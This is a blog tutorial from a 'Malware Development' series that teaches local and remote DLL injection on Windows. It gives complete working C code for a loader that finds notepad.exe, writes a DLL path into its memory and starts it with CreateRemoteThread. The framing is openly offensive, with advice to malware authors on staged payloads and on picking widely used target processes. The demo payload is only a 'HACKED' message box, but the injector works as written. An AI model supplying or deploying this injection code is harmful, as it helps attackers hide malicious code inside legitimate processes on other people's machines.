Malware Development: Crafting Digital Chaos 0x3: Local and Remote DLL Injection

9 minute read

Local DLL Injection

Creating DLL

First we need to prepare a DLL, we can embed our code directly inside the DLL main function and we have four choices to choose from:

 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
     break;
 }

Form now we will choose to run the code once the DLL is attached to a process.

#include <windows.h>
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:

        MessageBox(  NULL,(LPCWSTR)L"You have been HACKED!",(LPCWSTR)L"Details",MB_ICONWARNING );    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Build the project and let’s create another project to code our loader this time

Loader

Before we start any coding, I want to talk briefly on the technique itself, It is a very common one and still used in the wild, because of many reasons

Most malware families have multiple stages, and you can’t nowadays find a malware that is executing its functionality in one stage.

DLLs can be used easily as a second, third, fourth stage, and since they are independent files, they can easily be modified without modifying the loader itself, and that’s something very practical for a malware author.

The process of loading a DLL locally locally is as follows:

#include <Windows.h>
#include <stdio.h>

int main() {
  DWORD Id = GetCurrentProcessId();
  CHAR path[] = "Dll1.dll";
  if (LoadLibraryA(path) == NULL) {
    printf("[!] LoadLibraryA Failed With Error: %d\n", GetLastError());
    return -1;
  } 
  printf("[+] Injected to process %d ! \n",Id);
  return 0;

}

GetCurrentProcessId() is just for the purose of getting the ID of the process, incase you need it later or want to send it anywhere, but it doesn’t really affect the injection routine.

All the injection happens with LoadLibraryA() API call which is an API that’ll take the first argument which will be the path to our DLL (in the above case the DLL was already inside my project’s file so I didn’t have to write the full path) and attach it to the process.

And remember when we created the DLL, we placed our code after the case DLL_PROCESS_ATTACH, build and run to see the code triggering.

P1

Remote DLL Injection

Now this is all about local injection, but an attacker won’t benefit that much if he injected his DLL inside his loader’s process, doesn’t make sense.

The way this happens in real world is injecting into another’s process’s address space, so that the injected DLL is part of the legitimate process.

Remote DLL Injection happens in steps:

  • retrieve a handle to the targeted process
  • Writes his DLL’s path inside the targeted process memory
  • Invoke LoadLibrary remotly to load his DLL into that process.

Enumerating processes

As we have a specific targeted process, we will need to do a simple enumeration in order to see if the process is running and if that was the case we retrieve a handle to it along with its PID.

Always target a widely used process

The API CreateToolhelp32Snapshot() will help us doing this, it is used to create a snapshot of the current state of the system or a specific process.

Using this function to snapshot the current processes then we can navigate them and validate each one if it is our target or not.

For the navigation we will be using Process32First() and Process32Next().

Snapshotting the processes

HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

TH32CS_SNAPPROCESS specifies that the snapshot to be created should include information about all processes currently running on the system.

Next we need to loop through the snapshot processes:

PROCESSENTRY32 Proc;
Proc.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hSnapShot, &Proc)) {
    printf("Process32First Failed with error %x", GetLastError());
    return -1;
  }

  do {

    if (wcscmp(Proc.szExeFile, pProcessName) == 0) {
      *pProcessID = Proc.th32ProcessID;

      *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *pProcessID);
      if (*hProcess == NULL) {
        printf("OpenProcess failed with Error %x", GetLastError());

        break;
      }
    }
} while (Process32Next(hSnapShot, &Proc));

If Process32First succeeds, it returns TRUE, and the PROCESSENTRY32 structure passed to it is filled with information about the first process in the snapshot.

Proc is a variable from the type PROCESSENTRY32 indeed.

pProcessName here is a parameter that we will pass to our process enumeration function, and it will be compared with Proc.szExeFile and szExeFile is the name of the exe file of that specific process, and this element is an element of the structurePROCESSENTRY32.

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      **szExeFile[MAX_PATH]**;
} PROCESSENTRY32;

If a match was found the pProcessID (which is an OUT parameter passed the function) will be set to the value Proc.th32ProcessID the target process ID.

And OpenProcess() will be called to retrieve a handle to the target process.

If a match wasn’t found, the loop simple continues and Process32Next() is called to check the next process entry in the snapshot and so.

Code of process enumeration function:

BOOL GetRemoteProcessHandle(IN LPWSTR pProcessName, OUT DWORD* pProcessID, OUT HANDLE* hProcess) {
  
  PROCESSENTRY32 Proc;
  Proc.dwSize = sizeof(PROCESSENTRY32);

  HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

  if (hSnapShot == INVALID_HANDLE_VALUE) {
    printf("Cannot take snapshot: Error %x", GetLastError());
    return -1;
  }

  if (!Process32First(hSnapShot, &Proc)) {
    printf("Process32First Failed with error %x", GetLastError());
    return -1;
  }

  do {

    if (wcscmp(Proc.szExeFile, pProcessName) == 0) {
      *pProcessID = Proc.th32ProcessID;

      *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *pProcessID);
      if (*hProcess == NULL) {
        printf("OpenProcess failed with Error %x", GetLastError());

        break;
      }
    }
  } while (Process32Next(hSnapShot, &Proc));
  
  return TRUE;
}

Resolving LoadLibrary address within the targeted process memory

After we have finished the process enumeration part, we assume now that we got the handle and PID of our target, and we need to start implementing the injection logic.

We will need to call LoadLibrary in a slightly different way than we were doing before:

LPVOID pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

This line of code is all about getting the address of LoadLibraryW() API , we are obtaining the address of the API dynamically, and that’s because we don’t have acccess to the target’s process space since we are doing this from our own loader’s process space.

That’s why we can’t directly invoke it, GetProcAddress() allows us to do this by passing a handle to kernel32.dll which is the place where the function in the second parameter LoadLibraryW is defined.

Allocating memory and writing DLL’s path

After we obtain the handle to the API we will allocate a memory region, to be writeable mainly, we don’t need any execution permissions here, and write our DLL’s path to that region:

DWORD dwSizeToWrite = lstrlen(DllName) * sizeof(WCHAR);

LPVOID pMemory = VirtualAllocEx(*hProcess, NULL, dwSizeToWrite, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

  if (pMemory == NULL) {
    printf("Error allocating memory %x", GetLastError());
    return FALSE;
  }

  SIZE_T lpNumberofBytesWritten;

  if (!WriteProcessMemory(*hProcess, pMemory, DllName, dwSizeToWrite, &lpNumberofBytesWritten)) {
    printf("Failed Writing to memory, error %x", GetLastError());
    return FALSE;
  }

Always remember that we are doing this on another’s process memory, so we can’t use VirtualAlloc(), instead we have used VirtualAllocEx() which is used to allocate memory within the address space of a specified process. And it is particularly useful in scenarios where you need to allocate memory in a remote process.

As I said, we only need PAGE_READWRITE permissions.

Now after the write operation we have everything we need to complete the injection, the last step will be invoking the LoadLibraryW we resolved before and giving it the address of our allocated memory which holds the DLL path.

However also a good way to do this is to use CreateRemoteThread() API.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

CreateRemoteThread() is used to create a thread in the virtual address space of a remote process. It’s a fundamental function for injecting code into another process.

HANDLE hThread;
  
hThread = CreateRemoteThread(*hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pLoadLibrary, pMemory, NULL, NULL);

We pass LoadLibrary pointer so that the thread can start from there, same as calling the function, And lpParameter will be the address of our allocated region that holds DLL’s path.

Note: The process handle and DLL path are passed to the function as parameters

Complete code ofthe injection function:

BOOL InjectDll(IN HANDLE* hProcess,IN LPWSTR DllName) {

LPVOID pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

if (pLoadLibrary == NULL) {
    printf("can't obtain handle to LoadLibrary, error %x", GetLastError());
    return FALSE;
  }
  DWORD dwSizeToWrite = lstrlen(DllName) * sizeof(WCHAR);

  LPVOID pMemory = VirtualAllocEx(*hProcess, NULL, dwSizeToWrite, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

  if (pMemory == NULL) {
    printf("Error allocating memory %x", GetLastError());
    return FALSE;
  }

  SIZE_T lpNumberofBytesWritten;

  if (!WriteProcessMemory(*hProcess, pMemory, DllName, dwSizeToWrite, &lpNumberofBytesWritten)) {
    printf("Failed Writing to memory, error %x", GetLastError());
    return FALSE;
  }

  HANDLE hThread = CreateRemoteThread(*hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pLoadLibrary, pMemory, NULL, NULL);

  if (hThread == NULL) {
    printf("Cannot start the remote thread, error %s", GetLastError());
    return FALSE;
  }
}

Main function:

int main()
  
{
  LPWSTR ProcessName;

  ProcessName = (LPWSTR)malloc((wcslen(L"notepad.exe") + 1) * sizeof(wchar_t));
  wcscpy(ProcessName, L"notepad.exe");

  DWORD* ProcID = (DWORD*)malloc(sizeof(DWORD));;

  HANDLE* hProcess = (HANDLE*)malloc(sizeof(HANDLE)); ;

  if (GetRemoteProcessHandle(ProcessName, ProcID, hProcess) == FALSE) {
    
    printf("Cannot find notepad.exe");
  }
  else {
    printf("Notepad.exe is at %d\n", *ProcID);
  }

  wchar_t myString[] = L"C:\\Users\\XXX\\Source\\Repos\\EnumProcesses\\x64\\Debug\\Dll1.dll";

  LPWSTR DllName = myString;

  InjectDll(hProcess, DllName);

  return 1;
}

Make sure to specify the full path of your DLL.

Executing

Now let’s try to execute after compiling all of this together, put a breakpoint after the write operation and before the thread creation so we can validate the write.

P2

After triggering the breakpoint we can see that it found notepad.exe.

P3 P4

We can copy now the address of the allocated memory and check notepad’s memory using Process Hacker:

P5

And we can see that the path was indeed written there: P6

Note: it’s a wide string that’s why every character is taking two bytes to be represented.

Now continue the execution. And our DLL will be loaded successfully.

P7

Thanks for reading!.